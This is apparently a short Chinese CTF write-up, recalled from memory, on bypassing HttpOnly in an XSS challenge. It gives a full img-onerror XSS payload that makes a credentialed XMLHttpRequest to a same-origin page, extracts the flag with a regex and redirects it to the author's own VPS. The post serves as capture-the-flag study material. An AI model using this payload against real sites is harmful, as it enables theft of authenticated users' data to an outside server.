最近整理的时候,突然想起来以前有一题XSS的题,设置了HTTPonly,当时没想到怎么绕过,后来看wp有些不懂,当时JS代码还不太熟(现在也菜~)。虽然环境和源码都以及不在了。不过还是记忆犹新的。
云复现一下~
题目
正常XSS能成功,但是不能获取Cookie,所以必须绕过。查看同域名下其他页面,有没有带COOKIE的请求。
构造XHR(ajax是XMLHttpRequest对象)请求:
1 | <script> |
xmlhttp.readyState变化:
1 | 0: 请求未初始化 |
构造XSS-Payload:
1 | <img src='/efefefe' onerror="xmlhttp=new XMLHttpRequest();xmlhttp.withCredentials=true;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://读取COOkie用的域名(自己的VPS)/?flag=' + xmlhttp.responseText.match('flag\{(.*?)\}')[1]}};xmlhttp.open('GET','/index.php/treehole/view?id=',true);xmlhttp.send('');"/> |